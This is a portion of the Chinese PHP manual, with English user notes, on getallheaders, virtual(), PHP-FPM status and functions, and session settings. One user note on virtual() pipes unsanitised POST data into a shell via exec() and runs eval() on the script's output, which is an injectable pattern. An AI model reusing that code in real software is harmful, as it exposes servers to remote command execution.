There's a polyfill for this that can be downloaded or installed via composer:

https://github.com/ralouphie/getallheaders
acidfilez at gmail dot com 07-Jun-2011 09:16
dont forget to add the content_type and content_lenght if your are uploading file:

<?php
  function emu_getallheaders() {
        foreach ($_SERVER as $name => $value)
       {
           if (substr($name, 0, 5) == 'HTTP_')
           {
               $name = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))));
               $headers[$name] = $value;
           } else if ($name == "CONTENT_TYPE") {
               $headers["Content-Type"] = $value;
           } else if ($name == "CONTENT_LENGTH") {
               $headers["Content-Length"] = $value;
           }
       }
       return $headers;
    }
?>

chears magno c. heck
majksner at gmail dot com 08-Sep-2010 10:24
apache_request_headers replicement for nginx

<?php
if (!function_exists('apache_request_headers')) {
        function apache_request_headers() {
            foreach($_SERVER as $key=>$value) {
                if (substr($key,0,5)=="HTTP_") {
                    $key=str_replace(" ","-",ucwords(strtolower(str_replace("_"," ",substr($key,5)))));
                    $out[$key]=$value;
                }else{
                    $out[$key]=$value;
        }
            }
            return $out;
        }
}
?>
joyview at gmail dot com 06-Jul-2008 08:52
it could be useful if you using nginx instead of apache

<?php
if (!function_exists('getallheaders'))
{
    function getallheaders()
    {
           $headers = [];
       foreach ($_SERVER as $name => $value)
       {
           if (substr($name, 0, 5) == 'HTTP_')
           {
               $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
           }
       }
       return $headers;
    }
}
?>
lorro at lorro dot hu 19-Apr-2005 06:25
Beware that RFC2616 (HTTP/1.1) defines header fields as case-insensitive entities. Therefore, array keys of getallheaders() should be converted first to lower- or uppercase and processed such.


执行 Apache 子请求

  • ? getallheaders
  • FastCGI 进程管理器 ?
  • PHP Manual
  • Apache 函数
  • 执行 Apache 子请求

virtual

(PHP 4, PHP 5, PHP 7, PHP 8)

virtual — 执行 Apache 子请求

说明

virtual(string $uri): bool

virtual() 是一个 Apache 特有函数， 类似于 mod_include 中的 <!--#include virtual...-->。 它执行一个 Apache 子请求。可用于包含一个 CGI 脚本或 .shtml 文件，或任何其它可通过 Apache 解析的请求。注意对一个 CGI 脚本，该脚本 生成合法的 CGI 头，至少必须 生成Content-Type 头。

为运行子请求，所有缓冲将中止并刷新至浏览器，包括头信息。

仅在 PHP 以 Apache 模块运行时，才支持此函数。

参数

uri

virtual命令将执行的文件

返回值

成功执行 virtual 命令，或失败时返回 false 。

示例

示例请看 apache_note() 。

注释

Warning

查询字符串可被传递至被包含文件，但是 $_GET 是拷贝于父文件，仅有 $_SERVER['QUERY_STRING'] 将填充传递入的查询字符串。 且此查询字符串只在使用 Apache 2 时被填充。 此请求文件将不会显示在 Apache 访问日志中。

Note:

在被请求文件中设置的环境变量在原请求文件中不可见。

Note:

此函数可以用于 PHP 文件。然而一般来说对 PHP 文件最好是使用 include 或者 require。

参见

  • apache_note() - 取得或设置 apache 请求记录

User Contributed Notes

php at nagler-ihlein dot de 10-Jan-2020 01:22
Starting with 7.2 various session related things were changed and it seems part of it is conflicting with virtual(). Calling it you may receive a "PHP Warning:  virtual(): Headers already sent. You cannot change the session module's ini settings at this time in ..." although no header was set and virtual() should simply provide static content from a file.

It took half a day to find out that some main session.configuration.php settings (e.g. save_handler, serialize_handler, or save_path) in the Apache config (all levels) are causing this. It seems the settings are regarded as likely to change headers but virtual() is already beyond sending them. Unfortunately the warning is then not only logged to error_log but also part of the content virtual() sends to the client which screws it up - the format of the content like binary image data is no more correct.

If you do not need php's session management you can remove all session.* settings in your apache configuration to avoid the warning. Otherwise a workaround is to switch off E_WARNING before calling virtual().

<?php
$filename = '/data/image.jpg';
$level = error_reporting();
error_reporting($level & ~E_WARNING);
virtual($filename);
error_reporting($level);
?>
Peter Kehl 12-Jan-2013 03:47
This documentation is not clear enough. Parameter $filename is not a filename as on the filesystem, but a URI. It can be absolute, starting with /, or relative to URI that involved the PHP script which called virtual(). (I.e. if the PHP script that calls virtual() is invoked via PHP require/require_once/include/include_once mechanism and it passes a relative URI to virtual(), then that URI must be relative to the URI of the topmost PHP script on the inclusion stack.)

Not sure how relative URIs work if the request which calls virtual() was processed through Apache rewrite rules.
jhibbard at gmail dot com 09-Dec-2009 02:42
While the virtual() function has it's promising sides, there exists issues when using it in relation to a cache system such as eAccellerator.  The issue becomes that the first time you load with a virtual file, it will seem to work fine.  But once the cache is put into play, the virtual call will end up returning nothing at all, and basically returning a blank page.

Please realize that this is not an issue with virtual(), but instead an issue of the cacheing application.  Should anyone else have a similar issue, hopefully this will shed some light onto this subject.

Jonathon Hibbard
phpforum at joolee dot nl 04-Feb-2009 12:00
Problem with most of the scripts posted below is that virtual() flushes the pending headers before making the subrequest. Requesting an image with virtual() still returns a text/html type document.
A workaround is to set the content-type first. But that requires getting the content-type first.

I'm using the following script for now. A disadvantage is that Apache makes 2 subrequests.

<?PHP
$file = '/resources/7z.gif';
$file_info = apache_lookup_uri($file);
header('content-type: ' . $file_info -> content_type);
virtual($file);
die();
?>
Anonymous at spam dot org 08-May-2007 05:13
Note that QUERY_STRING seems to get inherited, so to make a virtual request WITHOUT one, one needs to explicitly append a "?" to the URL of the sub-request (to cause the creation of a "null" query string).  Of course, if the desired URL has its own query string, that will override and an additional "?" should not be appended.

This was with PHP 4.4.7 (released May 2007).
vcaron at bearstech dot com 07-Jul-2006 03:26
You can use virtual() to implement your own dispatcher/auth handler in an efficient and effective way.

For instance if you have a bunch of images you would like to be served statically by Apache (its job after all), but with a more com
plex access pattern than mod_access allows you to do (say a MySQL lookup with your app logic), try this simple Apache rule:

  Order Allow,Deny
  Allow from env=PHP_ALLOW

Then in your PHP script, before sending any content or header:

<?php
$image = "/some/URL/path/test.png";
if (client_may_view_image($image)) {
  apache_setenv('PHP_ALLOW', '1');
  if (virtual($image))
    exit(0);
  echo "Ops, failed to fetched granted image $image (hammer your webmaster).\n";
} else
  echo "Sorry buddy, you're not allowed in here.\n";
?>

Of course very Apache-ish, but it's much more efficient and uniform to rely on Apache rather than passthru() and mime_content_type()
 hacks : it does the path lookup and auth/security audit as the admin expects, use the best static serving it can (think 'sendfile')
 and you can even chain your request with another embedded script eg. in mod_perl.
ruibal_DELETED_p*AT*gmail__dot__com 05-Feb-2006 03:04
when php is installed as an apache module, this works pretty well for writing your own php preprocessor/information logger. For example, requests to any URI underneath pre.php will first be executed by pre.php, then returned to the user.
<?
$docroot        = $_SERVER['DOCUMENT_ROOT'];
$script_root    = str_replace( basename($_SERVER['SCRIPT_NAME']),'',$_SERVER['SCRIPT_NAME'] );
$script_ext     = substr( $_SERVER['SCRIPT_NAME'], strrpos( $_SERVER['SCRIPT_NAME'],'.' ) );
$fakework_root  = $script_root.basename( $_SERVER['SCRIPT_NAME'] ).'/';
$framework_root = $script_root.'_'.basename( $_SERVER['SCRIPT_NAME'], $script_ext ).'/';
$frequest_root  = dirname( $framework_root.substr( $_SERVER['PATH_INFO'], 1 )).'/';
$frequest_name  = basename( $_SERVER['PATH_INFO'] );
$frequest_ext   = (strrpos($frequest_name,'.')===FALSE ? FALSE : strtolower(substr( $frequest_name, ( strrpos( $frequest_name, '.' )+1 ) ) ) );
$frequest_full  = $frequest_root.$frequest_name;
$doc_frequest   = $docroot.$frequest_full;
$doc_framework   = $docroot.$framework_root;

$DO_PARSE = in_array( $frequest_ext, $chk_exts );
if( $DO_PARSE )
{
    $tmpfname = tempnam( $doc_framework.'tmp', 'aj_' ).($frequest_ext? ('.'.$frequest_ext) : '');
    if( ($to_parse=@file_get_contents($doc_frequest))===FALSE )
        $to_parse="404";
    $tmpvname = str_replace( $docroot, '', $tmpfname );
    $tmpvname = str_replace( '\\\\', '/', $tmpvname );
// - - - - - - - - - - - - - - - - - - - - - - - - - - -
//  Do processing of data stored in $to_parse
// - - - - - - - - - - - - - - - - - - - - - - - - - - -
    $to_parse = striptags( $to_parse );

// - - - - - - - - - - - - - - - - - - - - - - - - - - -
    $handle = fopen($tmpfname, "w");
    fwrite($handle, $to_parse);
    fclose($handle);
    @virtual( $tmpvname.$getvars );
    unlink( $tmpfname );
}
else
    @virtual( $frequest_full.$getvars );

?>

So all files in http://server/sub/pre.php/path/ are really located in http://server/sub/_pre/path/

All this needs is some kind of caching mechanism.

But yeah, this could be modified to add watermarks with the image functions, convert to xml with Tidy, check for extensions better with mimeTypes, proxy content with cURL, validate $_SERVER['HTTP_REFERER'] or $_SERVER['HTTP_USER_AGENT'], etc etc

This gives you much more over than the auto_prepend_file, and auto_append_file, for certain functionality

The key is the virtual function _because_ it delivers the modified content with an apache subrequest.
abentley at panoramicfeedback dot com 17-Jun-2003 10:29
Here's an update to tomwk's code:
function safe_virtual( $filename )
{
   $curDir = getcwd();
   virtual ( $filename );
   chdir( $curDir );
}

This is better if you've already changed your current directory to be something other than your script's directory.  It works for PHP4 and above.
php at n-wise dot com 02-Jan-2003 11:15
I saw the note above about the length of the query string... but didn't know what it was, so have altered the code so it can post to the script.
Probly only works on nix systems as it makes use of the echo function...
This code also will look evaluate the result, so you can get cgi to dynamically create PHP (probly best to watch out that posted variables do not include script!)
<?
$CGISCRIPT="./cgi-bin/cgiscript.cgi";
 // preparing the arguments passed to this PHP page
$QSTRING = $QUERY_STRING;

foreach ($HTTP_POST_VARS as $header=> $value ){
 if($QSTRING==""){
    $QSTRING = $header.'='.urlencode($value);
 }else{
    $QSTRING = $QSTRING.'&'.$header.'='.urlencode($value);
 }
}

putenv('REQUEST_METHOD=POST');
putenv('CONTENT_TYPE=application/x-www-form-urlencoded');
putenv('CONTENT_LENGTH='.strlen($QSTRING));
putenv('QUERY_STRING='.$QSTRING);
unset($return_array);
exec('echo "'.$QSTRING.'"| '.$CGISCRIPT, $return_array, $return_val);

//The 1st line of my script was "Content...." ... so remove it!
$firstline=array_shift($return_array);
//evaluate the code
eval('?>'.implode($return_array,''));

?>
chardin at ssc dot wisc dot edu 07-Nov-2002 03:00
If you are having problems using virtual include becuase of files being stored in different directories, a root-relative path will make things much easier:

virtual ("/root directory/directory/filename.htm/");

where root directory is the root directory of your site (ask your sys admin if you dont know what it is) Don't include the protocol or host name.

This will also allow you to move your files around your site without having to redirect your includes which is *very* helpfull
crazyted at crazyted dot com 10-Jan-2002 11:57
I have a header that's include()'ed on each of my pages. I then wanted to add a Perl script to that header file (header.php) via the virtual() command.

Since my header is used by documents in my /www folder along with other folders inside that (and inside those), and virtual() seems to take only relative paths, I had to write some code to dynamically get the path to the perl script.

Hope this helps some ppl out:

  $cwd = getcwd();
  $script_name = "cgi-bin/perl_script.pl";
  $count = substr_count($cwd, '/');
  $count = $count - 3;
  // get rid of extra absolute paths since my directory is /home/user/www

  // Add additional path information
  for($i = 1; $i <= $count; $i++){
    $script_name = "../".$script_name;
  }
  virtual($script_name);
s dot dan at free dot fr 31-Jul-2001 08:43
Another way of passing arguments:
If you have some CGI programs that depend on some libraries where you can't change the source code (in my case an online payment library), you can pass the arguments by changing some environment variables.

Of course the CGI program has to get the GET/POST variables in the usual manner.
It simulates, more or less, a direct call from the server to a CGI program:

// preparing the arguments passed to this PHP page
$QSTRING = $QUERY_STRING;

// pay attention to the maximum length of the QUERY string.
while (list ($header, $value) = each ($HTTP_POST_VARS)){
  if (empty($QSTRING))
    $QSTRING = $header.'='.$value;
 else
    $QSTRING = $QSTRING.'&'.$header.'='.$value;
}

putenv('REQUEST_METHOD=GET');
putenv('QUERY_STRING='.$QSTRING);

unset($return_array);
exec('my_CGI', $return_array, $return_val);

Now you can parse the output of 'my_CGI' in return_array.
logang at deltatee dot com 26-Apr-2001 07:21
If you want to pass all post and get values to the cgi script you can use this code:

<?php
$QSTRING = $QUERY_STRING;
while (list ($header, $value) = each ($HTTP_POST_VARS))
{
   $QSTRING = $QSTRING.'&'.$header.'='.$value;
}

virtual($script.'?'.$QSTRING);
?>

It takes all the values of $HTTP_POST_VARS and appends them in the proper format to the values you get in $QUERY_STRING
david at audiogalaxy dot com 28-Nov-1999 10:44
Virtual returns the HTTP entity header after the requested file, when it's the first output to the page.

The work-around to prevent seeing the header is, of course, to output something (such as echo " "; ) before calling virtual.


FastCGI 进程管理器

  • 简介
  • 安装/配置
  • 可观察性
    • 状态页面
  • FPM 函数
    • fastcgi_finish_request — 冲刷(flush)所有响应的数据给客户端
    • fpm_get_status — 返回当前 FPM 池状态

User Contributed Notes

There are no user contributed notes for this page.


简介

FPM（FastCGI 进程管理器）是 PHP FastCGI 的主要实现，包含大部分对高负载网站有用的功能。

PHP 内置绑定了此 SAPI。

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

安装与配置 FPM 的信息可以在 PHP 手册的 installation and configuration section中被找到。

User Contributed Notes

There are no user contributed notes for this page.


可观察性

Table of Contents

  • 状态页面

User Contributed Notes

There are no user contributed notes for this page.


状态页面

此页面提供 FPM 状态页面的设置和内容的相关信息。请参见 fpm_get_status()。

配置

可以在 FPM poll 配置中设置 pm.status_path 配置参数来启用 FPM 状态页面。

Caution

为了安全，FPM 状态页面应仅限于内部请求或已知客户端 IP，因为该页面会显示请求 URL 和可用资源的有关信息。

取决于 Web 服务器配置，可能需要配置 Web 服务器允许绕过任何 PHP 脚本，直接请求该路径。Apache 在 UDS 上监听 FPM 并且 pm.status_path 设置为 /fpm-status 的配置示例看起来就像是这样：

<LocationMatch "/fpm-status">
 Order Allow,Deny
 Allow from 127.0.0.1
 ProxyPass "unix:/var/run/php-fpm.sock|fcgi://localhost/fpm-status"
</LocationMatch>

重载/重启 FPM 和 Web 服务器后，可以从浏览器访问状态页面（如果配置了 IP 限制，请求只能来自允许的 IP）。

查询参数

可以指定以下某一查询参数来更改状态页面输出的格式：

  • html
  • json
  • openmetrics
  • xml

也可以使用 full 查询参数返回附加信息。

状态页面 URL 示例：

  • https://localhost/fpm-status ——默认文本格式的简短输出
  • https://localhost/fpm-status?full ——默认文本格式的完整输出
  • https://localhost/fpm-status?json ——JSON 格式的简短输出
  • https://localhost/fpm-status?html&full ——HTML 格式的完整输出

显示信息

日期/时间值在 JSON/XML 输出中使用 unix 时间戳格式，否则将生成以下示例日期 "03/Jun/2021:07:21:46 +0100"。

基础信息——始终在状态页面显示
参数 | 说明
pool | FPM 进程池的名称。
proccess manager | 进程管理器类型——static、dynamic 或 ondemand。
start time | 进程池最后一次启动的日期/时间。
start since | 进程自启动以来的秒数。
accepted conn | 服务的请求总数
listen queue | 当前等待空闲进程的请求（backlog）总数。
max listen queue | 监听队列在任一时间看到的最大请求数。
listen queue len | 监听队列的最大允许数量。
idle processes | 当前空闲（等待请求）的进程数。
active processes | 当前正在处理请求的进程数。
total processes | 当前进程总数。
max active processes | 并发活动进程的最大数量。
max children reached | 是否达到了最大进程数？如果是，则值显示为 1，否则为 0。
slow requests | 达到配置 request_slowlog_timeout 的请求总数。
每个进程的信息——仅在 full 输出模式中显示
参数 | 说明
pid | 进程的系统 PID。
state | 进程状态——空闲、运行......
start time | 进程开始的日期/时间。
start since | 进程自启动以来的秒数。
requests | 最大服务请求数。
request duration | 服务请求所花费的总时间（以秒为单位）。
request method | 最后服务请求的 HTTP 方法。
request uri | 最后服务请求的 URI（在 Web 服务器处理后，如果使用前端控制器模式重定向，将始终是 /index.php）。
content length | 最后一个请求的请求正文长度，以字节为单位。
user | 最后一个请求的 HTTP 用户（PHP_AUTH_USER）。
script | 最后一个请求执行的执行脚本的完整路径。如果不适用（比如状态页面请求），将是 '-'。
last request cpu | 最后一个请求的 %cpu。如果进程不空闲，将为 0，因为进程是在请求处理完成时进行计算的。
last request memory | 最后一个请求消耗的最大内存量。如果进程不空闲，将为 0，因为进程是在请求处理完成时进行计算的。

Note:

当 FPM 重启时，重置所有池指定的值。

Note:

openMetrics 格式输出使用不同的参数类型以便更好的适应 OpenMetrics 格式。参数和值的说明包含在 OpenMetrics 格式输出中。

更新日志

版本 | 说明
8.1.0 | 新增 openmetrics 格式。

User Contributed Notes

Anonymous 27-Aug-2023 06:58
there is an error in the docs, if you want to use with fastcgi, the correct link in ProxyPass is not

ProxyPass "unix:/var/run/php-fpm.sock|fcgi://localhost/fpm-status"

but only

ProxyPass "unix:/var/run/php-fpm.sock|fcgi://localhost"

otherwise the page says "File not found"
uwe at ohse dot de 23-Oct-2022 10:16
Before someone else misunderstands that:
  "request duration    The total time in seconds spent serving requests."

This is not the total time of all requests done by that process, but either the time used by the last request done (idle state), or the current request (all other states).

And the number given is not in seconds, but in microseconds.

The fpm status documentation is a mess.


FPM 函数

Table of Contents

  • fastcgi_finish_request — 冲刷(flush)所有响应的数据给客户端
  • fpm_get_status — 返回当前 FPM 池状态

User Contributed Notes

There are no user contributed notes for this page.


冲刷(flush)所有响应的数据给客户端

  • ? FPM 函数
  • fpm_get_status ?
  • PHP Manual
  • FPM 函数
  • 冲刷(flush)所有响应的数据给客户端

fastcgi_finish_request

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

fastcgi_finish_request — 冲刷(flush)所有响应的数据给客户端

说明

fastcgi_finish_request(): bool

此函数冲刷(flush)所有响应的数据给客户端并结束请求。这允许在不打开与客户端之间的连接的情况下执行耗时任务。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

rundiz dot com 16-Aug-2021 10:38
Here are few example of how to using it.

The first is basic example.

<?php
$file = __DIR__ . '/text.txt';

if (is_file($file) && is_writable($file)) {
    @unlink($file);
    echo '<small style="color: #ccc;">' . $file . ' was deleted.</small><br>' . PHP_EOL;
}

echo '<p>Calling to <code>fastcgi_finish_request()</code>.</p>' . PHP_EOL;

echo '<p>If success, the file ' . $file . ' will be created.</p>' . PHP_EOL;

if (function_exists('fastcgi_finish_request')) {
    fastcgi_finish_request();
} else {
    echo '<p style="color: red;">This server does not support <code>fastcgi_finish_request()</code> function.</p>' . PHP_EOL;
    echo 'Exit now.<br>' . PHP_EOL;
    exit();
}

echo 'This line will be not echo out.<br>' . PHP_EOL;

file_put_contents($file, date('Y-m-d H:i:s') . PHP_EOL, FILE_APPEND);
?>

The file text.txt will be create if successfully.

==========================

The second is about execution timeout.

<?php
set_time_limit(5);

$file = __DIR__ . '/text.txt';

if (is_file($file) && is_writable($file)) {
    @unlink($file);
    echo '<small style="color: #ccc;">' . $file . ' was deleted.</small><br>' . PHP_EOL;
}

echo '<p>Testing timeout and <code>fastcgi_finish_request()</code> function.</p>' . PHP_EOL;

echo '<p>Set timeout to ' . ini_get('max_execution_time') . ' seconds.</p>' . PHP_EOL;

echo '<p>Calling to <code>fastcgi_finish_request()</code>.</p>' . PHP_EOL;

echo '<p>If success, the file ' . $file . ' will be created but error will be shown in the log.</p>' . PHP_EOL;

if (function_exists('fastcgi_finish_request')) {
    fastcgi_finish_request();
} else {
    echo '<p style="color: red;">This server does not support <code>fastcgi_finish_request()</code> function.</p>' . PHP_EOL;
    echo 'Exit now.<br>' . PHP_EOL;
    exit();
}

$i = 1;
while(true){
    if ($i <= 10) {
        file_put_contents($file, date('Y-m-d H:i:s') . PHP_EOL, FILE_APPEND);
        $i++;
    }
    //to infinity and beyond...
}
?>

I found that the code will be working as long as it is not reach timeout setting in php.ini or set_time_limit() function.
Patrick Allaert 03-Jun-2021 03:54
This is very poor man's approach to async execution.

Better relying on message queues to process something asynchronously.
tuxrampage 04-Aug-2016 09:29
There are some pitfalls  you should be aware of when using this function.

The script will still occupy a FPM process after fastcgi_finish_request(). So using it excessively for long running tasks may occupy all your FPM threads up to pm.max_children. This will lead to gateway errors on the webserver.

Another important thing is session handling. Sessions are locked as long as they're active (see the documentation for session_write_close()). This means subsequent requests will block until the session is closed.

You should therefore call session_write_close() as soon as possible (even before fastcgi_finish_request()) to allow subsequent requests and a good user experience.

This also applies for all other locking techniques as flock or database locks for example. As long as a lock is active subsequent requests might bock.


返回当前 FPM 池状态

  • ? fastcgi_finish_request
  • Session 扩展 ?
  • PHP Manual
  • FPM 函数
  • 返回当前 FPM 池状态

fpm_get_status

(PHP 7 >= 7.3, PHP 8)

fpm_get_status — 返回当前 FPM 池状态

说明

fpm_get_status(): array|false

此函数将返回关联数组，包含当前完整 FPM 池状态。它始终返回完整状态，包含每个进程的状态信息。参阅 FPM 状态页面教程获取有关详细信息。

注意如果 FPM 用于服务脚本时才会定义此函数。

参数

此函数没有参数。

返回值

包含完整 FPM 池状态的关联数组， 或者在失败时返回 false。

User Contributed Notes

Ehsan Chavoshi 19-Feb-2023 11:12
Use this script to get a single page for fpm status:
https://gist.github.com/EhsanCh/97187902e905a308ce434bda6730073c


Session 扩展

  • Sessions — Session 处理
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Session 上传进度
    • 会话和安全
    • Session 函数
    • SessionHandler — The SessionHandler class
    • SessionHandlerInterface — The SessionHandlerInterface class
    • SessionIdInterface — The SessionIdInterface interface
    • SessionUpdateTimestampHandlerInterface — The SessionUpdateTimestampHandlerInterface interface

User Contributed Notes

There are no user contributed notes for this page.


Session 处理

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • 基本用法
    • 传送会话ID
    • 自定义会话处理程序
  • Session 上传进度
  • 会话和安全
    • 会话管理基础
    • 和会话安全相关的配置项
  • Session 函数
    • session_abort — Discard session array changes and finish session
    • session_cache_expire — 返回/设置当前缓存的到期时间
    • session_cache_limiter — 读取/设置缓存限制器
    • session_commit — session_write_close 的别名
    • session_create_id — Create new session id
    • session_decode — 解码会话数据
    • session_destroy — 销毁一个会话中的全部数据
    • session_encode — 将当前会话数据编码为字符串
    • session_gc — Perform session data garbage collection
    • session_get_cookie_params — 获取会话 cookie 参数
    • session_id — 获取/设置当前会话 ID
    • session_module_name — 获取/设置会话模块名称
    • session_name — 读取/设置会话名称
    • session_regenerate_id — 使用新生成的会话 ID 更新现有会话 ID
    • session_register_shutdown — 关闭会话
    • session_reset — Re-initialize session array with original values
    • session_save_path — 读取/设置当前会话的保存路径
    • session_set_cookie_params — 设置会话 cookie 参数
    • session_set_save_handler — 设置用户自定义会话存储函数
    • session_start — 启动新会话或者重用现有会话
    • session_status — 返回当前会话状态
    • session_unset — 释放所有的会话变量
    • session_write_close — Write session data and end session
  • SessionHandler — The SessionHandler class
    • SessionHandler::close — Close the session
    • SessionHandler::create_sid — Return a new session ID
    • SessionHandler::destroy — Destroy a session
    • SessionHandler::gc — Cleanup old sessions
    • SessionHandler::open — Initialize session
    • SessionHandler::read — Read session data
    • SessionHandler::write — Write session data
  • SessionHandlerInterface — The SessionHandlerInterface class
    • SessionHandlerInterface::close — Close the session
    • SessionHandlerInterface::destroy — Destroy a session
    • SessionHandlerInterface::gc — Cleanup old sessions
    • SessionHandlerInterface::open — Initialize session
    • SessionHandlerInterface::read — Read session data
    • SessionHandlerInterface::write — Write session data
  • SessionIdInterface — The SessionIdInterface interface
    • SessionIdInterface::create_sid — Create session ID
  • SessionUpdateTimestampHandlerInterface — The SessionUpdateTimestampHandlerInterface interface
    • SessionUpdateTimestampHandlerInterface::updateTimestamp — Update timestamp
    • SessionUpdateTimestampHandlerInterface::validateId — Validate ID

User Contributed Notes

e dot mortoray at ecircle dot com 17-Apr-2009 05:02
There is a nuance we found with session timing out although the user is still active in the session.  The problem has to do with never modifying the session variable.

The GC will clear the session data files based on their last modification time.  Thus if you never modify the session, you simply read from it, then the GC will eventually clean up.

To prevent this you need to ensure that your session is modified within the GC delete time.  You can accomplish this like below.

<?php
if( !isset($_SESSION['last_access']) || (time() - $_SESSION['last_access']) > 60 )
  $_SESSION['last_access'] = time();
?>

This will update the session every 60s to ensure that the modification date is altered.


简介

会话支持在 PHP 中是在并发访问时由一个方法来保存某些数据。

一个访问者访问你的 web 网站将被分配一个唯一的 id，就是所谓的会话 id。 这个 id 可以存储在用户端的一个 cookie 中，也可以通过 URL 进行传递。

会话支持允许你将请求中的数据保存在超全局数组$_SESSION中。 当一个访问者访问你的网站，PHP 将自动检查(如果 session.auto_start 被设置为 1）或者在你要求下检查(明确通过 session_start()) 当前会话 id 是否是先前发送的请求创建。如果是这种情况， 那么先前保存的环境将被重建。

Caution

如果你打开了 session.auto_start 那么 将对象放入会话的唯一方法是使用 auto_prepend_file 来加载定义这个对象的类，其中，在加载的定义的类时，你不得不使用 serialize() 你得对象，并且事后 unserialize() 它。

$_SESSION (和所有已注册得变量) 将被 PHP 使用内置的序列化方法在请求完成时 进行序列化。序列化方法可以通过 session.serialize_handler 这个 PHP 配置选项中来设置一个指定的方法。注册的变量未定义将被标记为未定义。在并发访问时，这些变量不会被会话模块 定义除非用户后来定义了它们。

Warning

因为会话数据是被序列化的，resource 变量不能被存储在会话中。

序列化句柄 (php 和 php_binary) 会受到 register_globals 的限制。 而且，数字索引或者字符串索引包含的特殊字符(| 和 !) 不能被使用。使用这些字符将脚本执行关闭时的最后出现错误。 php_serialize 没有这样的限制。

Note:

请注意当会话工作时，会话的记录并没有被创建 直到一个变量已经被添加一个新元素到 $_SESSION 全局数组中。 这点一直有效，无论是否使用 session_start() 函数 来开始会话。

User Contributed Notes

There are no user contributed notes for this page.


需求

构建此扩展不需要其他扩展。

Note:

你可以选择使用由 Ralf S. Engelschall 开发的 Shared Memory Allocation 来作为会话存储. 你需要到 » mm 然后安装它. 这个可选功能在 Windows 平台不可用.注意 mm 的这个会话存储模块无法保证并发访问时相同会话间正确的互锁. 它可能更多地是适用与存储会话到文件的使用在基于文件系统(比如 Solaris/Linux 的tmpfs， 或者 BSD 上的/dev/md) 的共享内存，因为他们能够正确互锁. 因为会话数据是存储在内存从而当web 服务器重启时数据将被删除.

User Contributed Notes

Anonymous 14-Nov-2022 06:22
There's no information out there on how to correctly install to make the mm option work smoothly. Please add more info on this.


安装

此扩展默认为启用，编译时可通过下列选项禁用： --disable-session

要为会话存储使用共享内存分配（mm），配置 PHP 时指定 --with-mm[=DIR]。

PHP 的 Windows 版本已内建对此扩展的支持。不需要载入额外的扩展来使用这些函数。

Note:

默认情况下，所有与特定会话相关的数据都被存储在由 INI 选项 session.save_path 指定的目录下的一个文件中。对每个会话会建立一个文件（不论是否有数据与该会话相关）。这是由于每打开一个会话即建立一个文件，不论是否有数据写入到该文件中。注意由于和文件系统协同工作的限制，此行为有个副作用，有可能造成用户定制的会话处理器（例如用数据库）丢失了未存储数据的会话。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

会话配置选项
名字 | 默认 | 可修改范围 | 更新日志
session.save_path | "" | PHP_INI_ALL |
session.name | "PHPSESSID" | PHP_INI_ALL |
session.save_handler | "files" | PHP_INI_ALL |
session.auto_start | "0" | PHP_INI_PERDIR |
session.gc_probability | "1" | PHP_INI_ALL |
session.gc_divisor | "100" | PHP_INI_ALL |
session.gc_maxlifetime | "1440" | PHP_INI_ALL |
session.serialize_handler | "php" | PHP_INI_ALL |
session.cookie_lifetime | "0" | PHP_INI_ALL |
session.cookie_path | "/" | PHP_INI_ALL |
session.cookie_domain | "" | PHP_INI_ALL |
session.cookie_secure | "0" | PHP_INI_ALL | 在 PHP 7.2.0 之前，默认值是 ""。
session.cookie_httponly | "0" | PHP_INI_ALL | 在 PHP 7.2.0 之前，默认值是 ""。
session.cookie_samesite | "" | PHP_INI_ALL | 自 PHP 7.3.0 起有效
session.use_strict_mode | "0" | PHP_INI_ALL | 自 PHP 5.5.2 起有效
session.use_cookies | "1" | PHP_INI_ALL |
session.use_only_cookies | "1" | PHP_INI_ALL |
session.referer_check | "" | PHP_INI_ALL |
session.cache_limiter | "nocache" | PHP_INI_ALL |
session.cache_expire | "180" | PHP_INI_ALL |
session.use_trans_sid | "0" | PHP_INI_ALL |
session.trans_sid_tags | "a=href,area=href,frame=src,form=" | PHP_INI_ALL | 自 PHP 7.1.0 起有效。
session.trans_sid_hosts | $_SERVER['HTTP_HOST'] | PHP_INI_ALL | 自 PHP 7.1.0 起有效。
session.sid_length | "32" | PHP_INI_ALL | 自 PHP 7.1.0 起有效。
session.sid_bits_per_character | "4" | PHP_INI_ALL | 自 PHP 7.1.0 起有效。
session.upload_progress.enabled | "1" | PHP_INI_PERDIR |
session.upload_progress.cleanup | "1" | PHP_INI_PERDIR |
session.upload_progress.prefix | "upload_progress_" | PHP_INI_PERDIR |
session.upload_progress.name | "PHP_SESSION_UPLOAD_PROGRESS" | PHP_INI_PERDIR |
session.upload_progress.freq | "1%" | PHP_INI_PERDIR |
session.upload_progress.min_freq | "1" | PHP_INI_PERDIR |
session.lazy_write | "1" | PHP_INI_ALL |
session.hash_function | "0" | PHP_INI_ALL | 自 PHP 7.1.0 起移除。
session.hash_bits_per_character | "4" | PHP_INI_ALL | 自 PHP 7.1.0 起移除。
session.entropy_file | "" | PHP_INI_ALL | 自 PHP 7.1.0 起移除。
session.entropy_length | "0" | PHP_INI_ALL | 自 PHP 7.1.0 起移除。
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

会话管理系统支持许多配置选项，可以在自己的 php.ini 文件中设定。这里只是个简短的概览。

session.save_handler string
session.save_handler 定义处理器（handler）名称，可以获取/储存关联 session 数据。 默认为 files。 注意不同的扩展可能会注册它们各自的 save_handler。 phpinfo() 提到的预装数据，包含了注册过的 hander。 可以参考 session_set_save_handler()。
session.save_path string
session.save_path 定义了传递给存储处理器的参数。如果选择了默认的 files 文件处理器，则此值是创建文件的路径。默认为 /tmp。参见 session_save_path()。

